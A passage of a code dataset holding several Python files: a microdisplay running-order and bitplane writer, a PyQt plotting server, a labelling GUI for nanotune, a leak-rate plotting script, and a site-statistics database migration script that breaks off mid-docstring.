bps.append('{} \"{}.bmp\"'.format(bp.bitdepth, bp.name))\n # update dict\n self.bp_dict[bp] = i\n # adjust offset correctly\n i += bp.bitdepth\n # finish printout\n bps.append(\"IMAGES_END\\n\\n\")\n # save string internally for later use\n self.bp_str = \"\\n\".join(bps)\n # return right away for ease of use\n return self.bp_str\n\n def prep_seq_for_write(self):\n \"\"\"\n This function prepares the internal set of sequences for writing a\n rep file\n\n It generates the string that will appear at the beginning of the\n rep file and generates a dictionary that remembers the characters\n of the sequences in the dictionary.\n\n Both the dictionary and the str are saved as instance variables.\n \"\"\"\n # initialize dictionary for sequences\n self.seq_dict = {}\n # start a list for final printout\n seqs = [\"SEQUENCES\"]\n # iterate through sequences\n for i, seq in enumerate(sorted(self.sequences)):\n # find right character\n char = chr(65 + i)\n # build printout list\n seqs.append(char + ' \"' + seq.name + '\"')\n # update dict\n self.seq_dict[seq] = char\n # finish printout\n seqs.append(\"SEQUENCES_END\\n\\n\")\n # save string for later and return right aways for convenience\n self.seq_str = \"\\n\".join(seqs)\n return self.seq_str\n\n def write_RO(self, RO):\n \"\"\"\n Function that writes RO using the internal dictionaries\n \"\"\"\n # put out name\n result = ['\"' + RO.name + '\"', \"[HWA \\n\"]\n result.extend([self.write_frame(frame) for frame in RO])\n result.append(\"]\")\n return \"\\n\".join(result)\n\n def write_frame(self, frame):\n seq_dict = self.seq_dict\n bp_dict = self.bp_dict\n int_result = []\n for seq, bp in zip(frame.sequences, frame.bitplanes):\n int_result.append(\"({},{}) \".format(seq_dict[seq], bp_dict[bp]))\n\n if frame.looped:\n if frame.finish_signal:\n start = [\" {f \"]\n else:\n start = [\" {\"]\n end = [\"}\"]\n else:\n start = [\" <\"]\n end = [\">\"]\n\n if frame.triggered:\n start = start + [\"t\"]\n\n return \"\".join(start + int_result + end)\n\n def write_repz11(self, path=\"\"):\n \"\"\"\n A function for writing a complete repz11 file\n Including a repfile, images and moving sequences\n\n Parameters\n ----------\n path : path (optional)\n path to place the repz11 file.\n \"\"\"\n\n with zipfile.ZipFile(\n path + self.name + \".repz11\", \"w\", compression=zipfile.ZIP_DEFLATED\n ) as zf:\n # write sequences to zipfile\n for seq in self.sequences:\n zf.write(seq.path, arcname=seq.name)\n # write rep to zipfile\n zf.writestr(self.name + \".rep\", str(self).encode())\n # write images to zipfile\n for bp in self.bitplanes:\n # write the buffer to the zipfile\n # zf.writestr(bp.name + \".bmp\", output.getvalue())\n zf.writestr(bp.name + \".bmp\", bytes(bp))\n\n\nclass RunningOrder(object):\n \"\"\"\n A Running Order is a user defined list of instructions executed by the\n system. The Running Order determines and controls the display of\n bit-planes/n-bit images on the microdisplay by directing the Display\n Controller to execute Compiled Sequences on selected bit-planes/n-bit\n images.\n \"\"\"\n\n # NOTE: it might be worthwhile to just subclass a list for this\n # give a list a name attribute\n\n def __init__(self, name, frames=None):\n \"\"\"\n \"\"\"\n self.name = name\n # define a list of frames\n if frames is None:\n self._frames = []\n else:\n self._frames = list(tuplify(frames))\n\n @property\n def frames(self):\n # protect the internal frames\n return self._frames\n\n def __iter__(self):\n # we want to easily iterate over the internal frames\n return iter(self.frames)\n\n def __len__(self):\n # the length of a RunningOrder is really the number of Frames it\n # contains\n return len(self.frames)\n\n\nclass Frame(object):\n \"\"\"\n A Frame is an association between a sequence and an image. It indicates\n that a particular image is to be shown using an iteration of a particular\n sequence. A Frame is described by the sequence and image designators in\n a parenthesised pair, for example\n \"\"\"\n\n # for now there will be two types of Frames, looped and unlooped\n\n def __init__(self, sequences, bitplanes, looped, triggered, finish_signal):\n self.looped = looped\n self.triggered = triggered\n self.finish_signal = finish_signal\n\n assert not (\n self.finish_signal and not self.looped\n ), \"Cannot have a finish signal without a loop\"\n\n tsequences = tuplify(sequences)\n tbitplanes = tuplify(bitplanes)\n\n assert len(tsequences) == len(tbitplanes), (\n \"Number of bitplanes does\" \" not equal number of\" \" sequences!\"\n )\n self.sequences = tsequences\n self.bitplanes = tbitplanes\n\n\nclass FrameGroup(object):\n \"\"\"\n A FrameGroup is a combination of a sequence and a bitplane and \n whether or not it's triggered.\n \"\"\"\n\n # could just use a named tuple here.\n def __init__(self, sequence, bitplane, triggered):\n self.sequence, self.bitplane, self.triggered = sequence, bitplane, triggered\n raise NotImplementedError\n\n\nclass Sequence(object):\n \"\"\"A class representing a sequence\"\"\"\n\n def __init__(self, path):\n \"\"\"\n Initialize with path to sequence file.\n \"\"\"\n assert os.path.exists(path), \"There is no file at \" + os.path.abspath(path)\n assert \"seq\" in os.path.splitext(path)[1]\n self.path = path\n\n @property\n def name(self):\n # return the filename assosicated with the path.\n return os.path.split(self.path)[-1]\n\n def __hash__(self):\n return hash(self.path)\n\n def __eq__(self, other):\n # we don't care about the specific names\n # we just want to know if the data is identical\n # we chould probably just compare the hashes.\n return self.path == other.path\n\n def __lt__(self, other):\n # we don't care about the specific names\n return self.name <= other.name\n\n\nclass BitPlane(object):\n \"\"\"BitPlanes have data (the image) and names\"\"\"\n\n # This class should take care of all the lowlevel tasks we may later\n # want to implement, such as loading from disk writing to disk, excetera\n\n bitdepth = 1\n\n def __init__(self, image, name=None):\n \"\"\"\"\"\"\n if np.issubdtype(image.dtype, np.bool_):\n image = image.astype(\"uint8\")\n # validity checks\n if not np.issubdtype(image.dtype, np.integer) or image.max() > 1 or image.min() < 0:\n raise ValueError(\n \"Image data is not single bit {}, dtype = {}, max = {}, min = {}\".format(\n image, image.dtype, image.max(), image.min()\n )\n )\n # make a copy so the external array can be used\n self.image = image.copy()\n # make it unchangeable\n self.image.flags.writeable = False\n if name is None:\n self._name = hex(hash(self))\n else:\n self._name = name\n\n def __hash__(self):\n return int.from_bytes(hashlib.md5(self.image.data).digest(), byteorder=\"big\", signed=True)\n\n def __eq__(self, other):\n # we don't care about the specific names\n # we just want to know if the data is identical\n # we chould probably just compare the hashes.\n return np.all(self.image == other.image)\n\n def __lt__(self, other):\n # we don't care about the specific names\n return self.name <= other.name\n\n def __bytes__(self):\n \"\"\"Convert Image to byte string\"\"\"\n # form the 8 bit grayscale image\n bp_img = Image.fromarray((self.image * 255).astype(\"uint8\"), mode=\"L\")\n # create an output bytes buffer to save the image to\n output = BytesIO()\n # save the image to the buffer\n bp_img.convert(\"1\").save(output, \"BMP\")\n # return a bytes object\n return output.getvalue()\n\n @property\n def name(self):\n # we want unique names\n return self._name\n\n\n# need to subclass bitplane so that it can handle 24 bit images\nclass BitPlane24(BitPlane):\n \"\"\"A subclass to deal with 24 bit patterns.\"\"\"\n\n bitdepth = 24\n\n def __init__(self, images, name=None):\n \"\"\"\"\"\"\n # I'm expecting a stack of images, so the z dimension should be 24\n if len(images) != 24:\n raise ValueError(\"Image stack is not 24 images long\")\n super().__init__(images, name)\n\n def __bytes__(self):\n \"\"\"Convert Image to byte string\"\"\"\n # form the 8 bit grayscale image\n bp_img = Image.fromarray(_24_bit_to_RGB(self.image), mode=\"RGB\")\n # create an output bytes buffer to save the image to\n output = BytesIO()\n # save the image to the buffer, but we want to save as 24-bit RGB\n # so no need for the extra conversion.\n bp_img.save(output, \"BMP\")\n # return a bytes object\n return output.getvalue()\n\n\ndef _24_bit_to_RGB(stack):\n \"\"\"Converts a stack of single bit images to an rgb image\n such that the final image bits are ordered as:\n 16, 8, 0, 17, 9, 1, 18, 10, 2, 19, 11, 3, 20, 12, 4, 21, 13, 5, 22, 14, 6, 23, 15, 7\n\n Note\n ----\n test = np.arange(24).reshape(3, 8)[::-1].T.ravel() gives the above ordering.\n test.reshape(8, 3).T[::-1].ravel() undoes the scramble\n\n \"\"\"\n # convert to bool to make sure we have \"bits\" and reshape so that we have\n # \"columns\" of bits\n stack24 = stack.astype(bool).reshape((8, 3) + stack.shape[1:])\n stack24 = np.swapaxes(stack24, 0, 1)[::-1]\n # make a bit array to multiply our columns by\n bits = 2 ** np.arange(8)\n # reverse our columns (i.e. flip position 0 and 7 etc.)\n stackRGB = (stack24 * bits[None, :, None, None]).sum(1)\n assert stackRGB.max() < 256\n # Roll axis so its compatible with images.\n return np.rollaxis(stackRGB, 0, 3).astype(np.uint8)\n","sub_path":"slm.py","file_name":"slm.py","file_ext":"py","file_size_in_byte":14675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"253542750","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 17 00:00:29 2011\n\n@author: Dave\n\"\"\"\n\nfrom multiprocessing import Process,Pipe\n\nimport sys,os,time,traceback\nimport numpy as np\n\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import QSize, QT_VERSION_STR, PYQT_VERSION_STR, Qt, SIGNAL,QTimer\nfrom PyQt4 import QtCore\n\nfrom guiqwt.plot import CurveWidget, ImageWidget\nfrom guiqwt.builder import make\n\n#from slab import *\nfrom .Server_ui import *\n\nLOGFILENAME='log.txt'\nLOGENABLED=True\n\n\n\ndef make_server_window(pipe=None,xlabel=None,ylabel=None,title=None):\n try:\n write_log('Launching Server App')\n app = QApplication(sys.argv)\n window =ServerWindow(pipe,xlabel,ylabel,title)\n window.show()\n sys.exit(app.exec_())\n except:\n if LOGENABLED: log_error()\n else: pass\n\nclass FigureClient():\n def __init__(self,xlabel=None,ylabel=None,title=None): \n self.parent,self.child = Pipe()\n self.process = Process(target=make_server_window, args=(self.child,xlabel,ylabel,title))\n self.process.start()\n\n def send(self,name,*args,**kw):\n self.parent.send((name,args,kw))\n\n def send_command(self,name):\n return lambda *args, **kw: self.send (name,*args,**kw)\n \n def __getattr__(self,name):\n if name not in ('send','send_command'):\n return self.send_command(name)\n\n\n\nclass test_proxy():\n def __getattr__(self,name):\n if name not in ('send','send_command'):\n return self.send_command(name)\n \n def send(self,name,*args,**kw):\n return (name,args,kw)\n\n def send_command(self,name):\n return lambda *args, **kw: self.send (name,*args,**kw)\n\n\ndef clear_log():\n try: os.remove(LOGFILENAME) \n except: pass\n\ndef log_error(info=''):\n write_log(\"Error: \"+ info + '\\n'.join(traceback.format_exception(*sys.exc_info())))\n\ndef print_log():\n try:\n f=open(LOGFILENAME,'r')\n print(f.read())\n f.close()\n except:\n print(\"Log file empty/non-existant.\")\n\ndef write_log(s):\n f=open(LOGFILENAME,'a')\n f.write(s+'\\n')\n f.close()\n\nclass ServerWindow (QMainWindow, Ui_ServerWindow):\n\n def __init__(self, pipe = None,xlabel=None,ylabel=None,title=None,parent = None):\n try:\n if LOGENABLED: write_log('Initializing server window')\n QMainWindow.__init__(self, parent)\n self.setupUi(self)\n self.setWindowTitle(title) \n self.pipe=pipe\n self.setup_plot(title, xlabel, ylabel)\n write_log ('Starting timer')\n self.ctimer = QTimer() #Setup autoupdating timer to call update_plots at 10Hz\n QtCore.QObject.connect(self.ctimer, QtCore.SIGNAL(\"timeout()\"), self.process_command )\n# self.connect() \n self.ctimer.start(10)\n if LOGENABLED: write_log('timer started')\n except:\n if LOGENABLED: log_error()\n else: pass\n\n def setup_plot(self, title, xlabel, ylabel):\n# self.curvewidget = CurveWidget()\n# self.setCentralWidget(self.curvewidget)\n \n self.curvewidget.add_toolbar(self.addToolBar(\"Curve\"))\n self.curvewidget.register_all_image_tools()\n self.plot = self.curvewidget.plot \n x=np.linspace(-5,5,1000) #Create some sample curves\n y1=np.cos(x)\n self.plot_item = make.mcurve(x, y1,label='Magnitude') #Make Ch1 curve\n self.plot.add_item(self.plot_item)\n self.plot.set_titles(title=title, xlabel=xlabel, ylabel=ylabel)\n\n def process_command(self):\n self.ctimer.stop()\n #write_log('process command')\n try:\n if self.pipe!=None:\n while self.pipe.poll():\n cmd=self.pipe.recv()\n #write_log('Received command: '+cmd[0])\n ans=getattr(self,cmd[0])(*cmd[1],**cmd[2])\n except:\n if LOGENABLED: log_error('process command')\n else: pass\n self.ctimer.start(10)\n \n def blah(self,cmd):\n return 'blahblah'\n \n def update_plot(self, data):\n x, y = data\n self.plot_item.set_data(x, y)\n self.plot.replot()\n \nclass ImageFigureClient(FigureClient):\n def setup_plot(self):\n self.imagewidget = ImageWidget()\n self.plot = self.imagewidget.plot\n self.image = make.image(np.random.rand(100,100))\n self.plot.add_item(self.image)\n def update_plot(self, data):\n self.image.set_data(data)\n\ndef test():\n clear_log()\n #write_log('test')\n fig1=FigureClient(xlabel='Frequency',ylabel='Amplitude',title='Parabola')\n fig2=FigureClient(xlabel='Frequency',ylabel='Amplitude',title='Cubic')\n time.sleep(4)\n #client.parent.send(('blah',))\n x=np.linspace(-5,5,100)\n y=x**2\n yy=x**3\n x2=[]\n y2=[]\n x3=[]\n y3=[]\n for ii in range (100):\n x2.append(x[ii])\n y2.append(y[ii])\n x3.append(x[ii])\n y3.append(yy[ii])\n# client.parent.send(('update_plot',x2,y2))\n fig1.update_plot((x2,y2))\n fig2.update_plot((x3,y3))\n time.sleep(0.1)\n print_log() \n\n\nif __name__ == \"__main__\":\n test()\n\n# t=test_proxy()\n# b=t.blah('a','b','c')","sub_path":"slab/plotting/plotting_phil.py","file_name":"plotting_phil.py","file_ext":"py","file_size_in_byte":5280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"387531072","text":"import logging\nfrom functools import partial\nfrom typing import Dict, Optional\n\nimport PyQt5.QtWidgets as qtw\nfrom PyQt5.QtCore import Qt\n\nimport nanotune as nt\n\nlogger = logging.getLogger(__name__)\n\n\nclass Window(qtw.QMainWindow):\n def __init__(\n self,\n title: str = \"Labelling Tool\",\n labels: Optional[Dict[str, str]] = None,\n ):\n if labels is None:\n labels = dict(nt.config[\"core\"][\"labels\"])\n\n super(Window, self).__init__()\n self.labels = labels\n\n self.initUI()\n\n def initUI(self) -> None:\n \"\"\"\"\"\"\n self.statusBar().showMessage(\"Ready\")\n\n self.setGeometry(300, 300, 300, 500)\n self.setWindowTitle(\"Statusbar\")\n\n self.form_widget = Widgets(self)\n self.setCentralWidget(self.form_widget)\n\n self.show()\n\n def update_window(self, plot_id: int) -> None:\n pass\n\n # def close_application(self):\n\n # choice = QMessageBox.question(self, 'Message',\n # \"Are you sure to quit?\", QMessageBox.Yes |\n # QMessageBox.No, QMessageBox.No)\n # # Make sure to save labels\n\n # if choice == QMessageBox.Yes:\n # print('quit application')\n # sys.exit()\n # else:\n # pass\n\n\nclass Widgets(qtw.QWidget):\n def __init__(\n self,\n window: Window,\n ) -> None:\n super(Widgets, self).__init__(window)\n layout = qtw.QVBoxLayout(self)\n\n len(window.labels.items())\n\n figure_row = qtw.QVBoxLayout()\n\n l1 = qtw.QLabel()\n l1.setText(\"Plot ID: {}\".format(window.labels[\"plot_id\"][0]))\n l1.setAlignment(Qt.AlignCenter)\n figure_row.addWidget(l1)\n # display plot\n\n # ----------- Buttons row ----------- #\n button_row = qtw.QHBoxLayout()\n\n # left part of button row\n goodness_column = qtw.QVBoxLayout()\n goodness_group = qtw.QButtonGroup(self)\n\n btn_good = qtw.QPushButton(\"Good\", self)\n btn_good.setCheckable(True)\n btn_good.clicked.connect(partial(self.retain_label, \"good\"))\n goodness_group.addButton(btn_good)\n\n btn_bad = qtw.QPushButton(\"Bad\")\n btn_bad.setCheckable(True)\n btn_bad.setChecked(True)\n # No action on click needed as 'bad' is labelled as absence of good.\n goodness_group.addButton(btn_bad)\n\n btn_goodish = qtw.QPushButton(\"Good-ish\")\n btn_goodish.setCheckable(True)\n btn_goodish.clicked.connect(partial(self.retain_label, \"good-ish\"))\n goodness_group.addButton(btn_goodish)\n\n goodness_column.addWidget(btn_good)\n goodness_column.addWidget(btn_bad)\n goodness_column.addWidget(btn_goodish)\n\n button_row.addLayout(goodness_column)\n\n # right part of button row\n # list of instances of class label\n labels_column = qtw.QVBoxLayout()\n for short_name, value in window.labels.items():\n if short_name not in [\"plot_id\", \"good\", \"good-ish\"]:\n btn = qtw.QPushButton(value[1])\n btn.setCheckable(True)\n labels_column.addWidget(btn)\n\n button_row.addLayout(labels_column)\n\n # ----------- Finalize row ----------- #\n finalize_row = qtw.QHBoxLayout()\n finalize_row.addWidget(qtw.QPushButton(\"Clear\"))\n finalize_row.addWidget(qtw.QPushButton(\"Save\"))\n\n # ----------- Exit row ----------- #\n exit_row = qtw.QHBoxLayout()\n empty_space = qtw.QHBoxLayout()\n empty_space.addStretch(1)\n\n exit_button = qtw.QVBoxLayout()\n exit_button.addWidget(qtw.QPushButton(\"Exit\"))\n\n exit_row.addLayout(exit_button)\n exit_row.addLayout(empty_space)\n\n # ----------- Add all rows to main vertial box ----------- #\n layout.addLayout(figure_row)\n layout.addLayout(button_row)\n layout.addLayout(finalize_row)\n layout.addLayout(exit_row)\n\n def exit(self) -> None:\n \"\"\"\"\"\"\n # TODO: Save labels\n logging.warning(\"Saving labels.\")\n\n def retain_label(self, label: str):\n print(label)\n\n # def file_open(self):\n # # need to make name an tupple otherwise i had an error and app crashed\n # name, _ = QFileDialog.getOpenFileName(self, 'Open File', options=QFileDialog.DontUseNativeDialog)\n # print('tot na dialog gelukt') # for debugging\n # file = open(name, 'r')\n # print('na het inlezen gelukt') # for debugging\n # self.editor()\n\n # with file:\n # text = file.read()\n # self.textEdit.setText(text)\n\n # def file_save(self):\n # name, _ = QFileDialog.getSaveFileName(self,'Save File', options=QFileDialog.DontUseNativeDialog)\n # file = open(name, 'w')\n # text = self.textEdit.toPlainText()\n # file.write(text)\n # file.close()\n","sub_path":"nanotune/labelling/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":4918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"446321305","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport time\nimport datetime\nimport matplotlib\nimport re\n\nfig = plt.figure()\nax = fig.add_subplot(1,1,1)\n\n\n\n\n\ndef animate(i):\n #data_tmp = np.genfromtxt(r'C:\\Users\\vaclab\\Desktop\\TDLAS-Project\\Data_Leck_Voltage\\2020-02-19 Lecktester-log-file.txt',dtype=None, encoding=None,delimiter='\\t')\n for name in [r'C:\\Users\\vaclab\\Desktop\\TDLAS-Project\\Data_Leck_Voltage\\2020-02-21 Lecktester-log-file.txt']:\n f = open(name)\n time = []\n pressure = []\n data = f.readlines()\n f.close()\n\n for i in data:\n reg = '[0-9]{1}\\.[0-9]{3}[E][-][0-9]{1,2}'\n result = re.search(reg, i)\n if result:\n p = float(result.group(0))\n\n if p<=0.00001: #eingabe des höchsten Exponenten\n pressure.append(p)\n t = i[:19]\n t = t.replace(\"\\t\", \"\")\n t = t.replace(\"t\", \"\")\n t = t.replace(\"'\",\"\")\n t = t.replace(\"{\",\"\")\n t = t.replace(\"_\", \"\")\n t = t.replace(\"s\", \"\")\n time.append(t) \n \n pressure = np.array(pressure, dtype =float)\n time = np.array(time, dtype = float)\n\n data_buffer = []\n time_zero = time[0]\n print(time_zero,\"Continiously_plot_Lecksucher.py 2019-12-21\")\n for i in range(len(time)):\n time_plot = time[i]-time_zero\n press = float(pressure[i]) \n data_buffer.append((time_plot,press))\n\n\n data_plot = np.transpose(np.array(data_buffer))\n xs,ys = data_plot[0]/3600,data_plot[1]\n ax.clear()\n ax.semilogy(xs,ys)\n #ax.ticklabel_format(axis='y',style=\"sci\",scilimits=(-4,-5))\n plt.xlabel(\"Time in hours\")\n plt.ylabel(\"Leak rate (mbar*l/s)\")\n ax.grid()\n plt.ylim(ymin=2.e-11)\n plt.title(\"Leakdetektor: Leak rate\" )\n\n\nani = animation.FuncAnimation(fig,animate)\nplt.show()\n ","sub_path":"TDLAS-Project/Continiously_plot_Lecksucher.py","file_name":"Continiously_plot_Lecksucher.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"342836412","text":"\"\"\"Migrate the site statistics data from MySQL to PostgreSQL and Hazpy 1.2.\n\nSite-specific impacts:\n\n * CRT: Do not migrate any CRT records.\n * All other sites: Migrate 'access' and 'referer' within last 90 days. Migrate\n all 'monthly' records except USCG-only ones.\n * CAMEO: Archive search and event results into 'archive' table as version\n '2.0.1'. Do not migrate raw search and event records.\n * Inews: Migrate all event records. Do not migrate search records (too old).\n * Rlink: Migrate all search and 'event' records.\n\"\"\"\n\nfrom __future__ import print_function\nimport argparse\nimport collections\nimport datetime\nimport logging\nimport time\nimport urlparse as urlparse\nimport warnings\n\nimport sqlalchemy as sa\nimport sqlalchemy.exc as sa_exc\nimport sqlalchemy.orm as orm\nfrom webhelpers.containers import Counter, except_keys\nfrom webhelpers.text import rchop\n\nimport hazpy.sitestats.constants as constants\nimport hazpy.sitestats.model as model\nimport hazpy.sqlalchemy_util as sa_util\nimport hazpy.timecounter as timecounter\n\n# Ignore legacy warnings about implicit Unicode conversions in SQLAlchemy.\nwarnings.filterwarnings(\"ignore\",\n \"Unicode type received non-unicode bind param value\",\n sa_exc.SAWarning) # Inserted in front of filters list\n\ndef make_cutoff(days_ago):\n cutoff = datetime.date.today() - datetime.timedelta(days=days_ago)\n cutoff = datetime.datetime(cutoff.year, cutoff.month, 1, 0, 0, 0)\n return cutoff\n\nCUTOFF_ACCESS = make_cutoff(90)\nTHROTTLE = 1000\n\nMONTHS = [None,\n \"January\", \"February\", \"March\", \"April\", \"May\", \"June\",\n \"July\", \"August\", \"September\", \"October\", \"November\", \"December\"]\n\n# All parts of the program use the startup time as 'now'.\nnow = datetime.datetime.now()\n\n# Global metadata and session; set by init_databases().\nsrc_md = sa.MetaData()\ndst_Session = orm.sessionmaker()\n\n# Global time counter.\nstopwatch = timecounter.TimeCounter(print)\n\n# Choices for the --truncate option: destination tablenames. \nTABLES = [\"access\", \"referer\", \"search\", \"asearch\", \"event\", \"monthly\",\n \"archive\"]\n\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger(__name__)\nsql_log = sa_util.SALogger()\n\n\ndef get_parser():\n description = __doc__.splitlines()[0]\n epilog = \"\"\"\\\nUse --create if the destination tables don't exist or you want to rebuild them\nfrom scratch. Use --truncate to rebuild specific tables while preserving\nothers. CAUTION: it will not check whether the specified tables correspond to\nthe specified actions, or whether it will insert duplicate records or raise\nduplicate-key errors, or whether the specified actions will completely build a\ntruncated table. Most actions build the same-name table, but to completely\nbuild the 'archive' table you'll need -archive-search, --archive-advanced, and\n--archive-events. To completely build the 'monthly' table you'll need\n--monthly and --feed.\"\"\"\n parser = argparse.ArgumentParser(description=description, epilog=epilog)\n # Non-action arguments\n paa = parser.add_argument\n paa(\"src_dburl\", help=\"Source SQLAlchemy database URL\")\n paa(\"dst_dburl\", help=\"Destination SQLAlchemy database URL\")\n paa(\"--sql\", action=\"store_true\", \n help=\"Log SQL statements (except inserts).\")\n paa(\"--truncate\", \"-t\", action=\"append\", choices=TABLES, \n help=\"Truncate the specified destination table. (May be repeated.)\")\n paa(\"--create\", \"-c\", action=\"store_true\",\n help=\"Drop and recreate all destination tables.\")\n # Action arguments\n description = (\"If no actions are specified, all will be performed.\")\n actions = parser.add_argument_group(\"Actions\", description)\n gaa = actions.add_argument\n gaa(\"--access\", action=\"store_true\", help=\"Copy recent Access records.\")\n gaa(\"--referer\", action=\"store_true\", help=\"Copy recent Referer records.\")\n gaa(\"--search\", action=\"store_true\",\n help=\"Copy Search records (rlink only).\")\n # --asearch: not used\n gaa(\"--event\", action=\"store_true\",\n help=\"Copy Event records (inews/rlink only).\")\n gaa(\"--monthly\", action=\"store_true\",\n help=\"Copy Monthly records. (See also --feeds and --feedlinks.)\")\n gaa(\"--feeds\", \"--feed\", action=\"store_true\",\n help=\"Calculate newsfeed usage and update the Monthly table.\")\n gaa(\"--archive-search\", action=\"store_true\",\n help=\"Archive the Cameo name/unna/cas searches.\")\n gaa(\"--archive-advanced\", action=\"store_true\",\n help=\"Archive the Cameo advanced searches.\")\n gaa(\"--archive-event\", action=\"store_true\",\n help=\"Archive the Cameo chemical/mychemicals/unna events.\")\n return parser\n\ndef init_databases(src_dburl, dst_dburl, is_create, truncate_tables):\n \"\"\"Initialize the database connections.\n\n Modifies global variables ``src_md`` and ``model.Base.metadata``.\n \"\"\"\n # Connect to the source and destination databases.\n src_engine = sa.create_engine(src_dburl, logging_name=\"src\",\n convert_unicode=True)\n dst_engine = sa.create_engine(dst_dburl, logging_name=\"dst\",\n server_side_cursors=True)\n src_conn = src_engine.connect()\n dst_conn = dst_engine.connect()\n # Bind the global metadata for each database.\n src_md.bind = src_conn\n model.Base.metadata.bind = dst_conn\n dst_Session.configure(bind=dst_conn)\n # Reflect the source tables.\n src_md.reflect()\n # Create or truncate tables as specified.\n if is_create:\n print(\"Dropping all destination tables.\")\n model.Base.metadata.drop_all()\n print(\"Recreating them.\")\n model.Base.metadata.create_all()\n stopwatch.checkpoint(\"Created tables\")\n elif truncate_tables:\n for tblname in truncate_tables:\n print(\"Truncating table '{}'\".format(tblname))\n sql = sa.text(\"TRUNCATE {} RESTART IDENTITY\".format(tblname))\n dst_conn.execute(sql)\n stopwatch.checkpoint(\"Truncated tables\")\n return src_conn, dst_conn\n\n\ndef migrate(migrator):\n logname = migrator.get_logname()\n print(\"{}: begin.\".format(logname))\n migrator()\n what = \"{}: finish\".format(logname)\n stopwatch.checkpoint(what)\n print()\n\n\nclass _Migrator(object):\n \"\"\"Base class of all migrators.\n \n Subclasses should override the .__call__ method.\"\"\"\n\n def __call__(self):\n raise NotImplementedError(\"subclass responsibility\")\n\n def get_logname(self):\n ret = rchop(self.__class__.__name__, \"Migrator\")\n ret = ret.lower().replace(\"_\", \"-\")\n return ret\n\n ## Convenience methods for subclasses. (Not called by the base class.)\n def get_src_sql(self):\n \"\"\"Return a SQL SELECT on the source table.\n\n Return a SELECT on the table named in the 'src_tablename' class\n attribute. If the table contains a 'timestamp' column, it will be\n lablelled 'ts' in the output. The results are sorted by the 'id' field.\n The implementation calls 'self.customize_src_sql' to add\n subclass-specific clauses (usually WHERE clauses).\n \"\"\"\n tbl = src_md.tables[self.src_tablename]\n cc = tbl.columns\n fields = []\n for col in tbl.columns:\n if col.name in self.skip_src_columns:\n continue\n elif col.name == \"timestamp\":\n col = col.label(\"ts\")\n fields.append(col)\n sql = sa.select(fields, order_by=tbl.columns.id)\n sql = sql.where(cc.site != u\"crt\")\n if self.cutoff:\n sql = sql.where(tbl.columns.timestamp >= self.cutoff)\n sql = self.customize_src_sql(sql, tbl.columns)\n return sql\n\n def customize_src_sql(self, sql, cc):\n \"\"\"Add clauses to the source SELECT if necessary and return it.\n\n * sql: a SQLAlchemy Select on all source columns, ordered by ID.\n * cc: the table's columns collection.\n\n The base implementation returns ``sql`` unchanged.\n \"\"\"\n return sql\n\n\nclass _InsertMigrator(_Migrator):\n \"\"\"Base class of INSERT migrators.\"\"\"\n\n # Subclasses must define: \n # src_orm_class, dst_orm_class\n\n cutoff = None\n skip_src_columns = set()\n\n def __call__(self):\n src_conn = src_md.bind\n dst_conn = model.Base.metadata.bind\n throttle_msg = \" ... {:,} records\"\n unicode_error_msg = (\n \"Caught UnicodeDecodeError on id={}, skipping record\")\n insert = self.dst_orm_class.__table__.insert()\n trans = dst_conn.begin()\n count = 0\n pending = []\n def insert_pending_records():\n \"\"\"Pop records from the pending list and insert them.\"\"\"\n print(throttle_msg.format(count))\n dst_conn.execute(insert, pending)\n del pending[:]\n sql = self.get_src_sql()\n rslt = src_conn.execute(sql)\n with sql_log.disabling():\n for r in rslt:\n try:\n r = dict(r)\n # Delete the 'id' column if present to force a new\n # autoincrement ID.\n r.pop(\"id\", None)\n r = self.convert_record(r)\n except UnicodeDecodeError:\n print(unicode_error_msg.format(r[\"id\"]))\n continue\n if r is None:\n continue\n pending.append(r)\n count += 1\n if count % THROTTLE == 0:\n insert_pending_records()\n if pending:\n insert_pending_records()\n trans.commit()\n\n def convert_record(self, r):\n \"\"\"Return a dict record to insert, or None to skip this record.\n \n The base method returns the argument unchanged.\n \"\"\"\n return r\n\n\n#### CONCRETE MIGRATOR CLASSES ####\nclass MonthlyMigrator(_InsertMigrator):\n \"\"\"Copy all Monthly records.\n\n Set the new 'feeds' and 'feedlinks' columns to 0. FeedMigrator will update\n them.\n \"\"\"\n src_tablename = \"Monthly\"\n dst_orm_class = model.Monthly\n\n def customize_src_sql(self, sql, cc):\n sql = sql.where(~ cc.uscg_only)\n return sql\n\n def convert_record(self, r):\n r[\"feeds\"] = 0\n r[\"feedlinks\"] = 0\n r[\"updated\"] = now\n return r\n\n\nclass SearchMigrator(_InsertMigrator):\n \"\"\"Migrate the search records that won't be archived.\n\n The 'value' column is the search term, lowercased.\n \n Copy the 'rlink' records back to 2009-07-05 only. Earlier rlink records\n don't tell whether they were successful. Cameo searches will be archived\n in the Archive table. Inews data is too old; its last record is 2009.\n \"\"\"\n src_tablename = \"Search\"\n dst_orm_class = model.Search\n\n def get_src_sql(self):\n \"\"\"Select all 'rlink' records, counting up the terms.\"\"\"\n tbl = src_md.tables[self.src_tablename]\n cc = tbl.columns\n success = (cc.count > 0).label(\"success\")\n year = sa.extract(\"YEAR\", cc.timestamp).label(\"year\")\n earliest = sa.func.min(cc.timestamp).label(\"earliest\")\n latest = sa.func.max(cc.timestamp).label(\"latest\")\n value = sa.func.lower(cc.term).label(\"value\")\n count = sa.func.count().label(\"count\")\n group = [cc.site, cc.type, success, year, value]\n fields = group + [count, earliest, latest]\n sql = sa.select(fields, group_by=group, order_by=group)\n sql = sql.where(cc.site == \"rlink\")\n sql = sql.where(cc.count != None)\n return sql\n\n def convert_record(self, r):\n success = r.pop(\"success\")\n r[\"type\"] = u\"name\" if success else u\"name-fail\"\n return r\n\n\nclass Archive_SearchMigrator(_Migrator):\n \"\"\"Archive the Cameo 2.0.1 searches and events.\n \n Top 100 name searches; top 10 cas searches; top 10 unna searches.\n\n The 'value' column is the search term, lowercased.\n 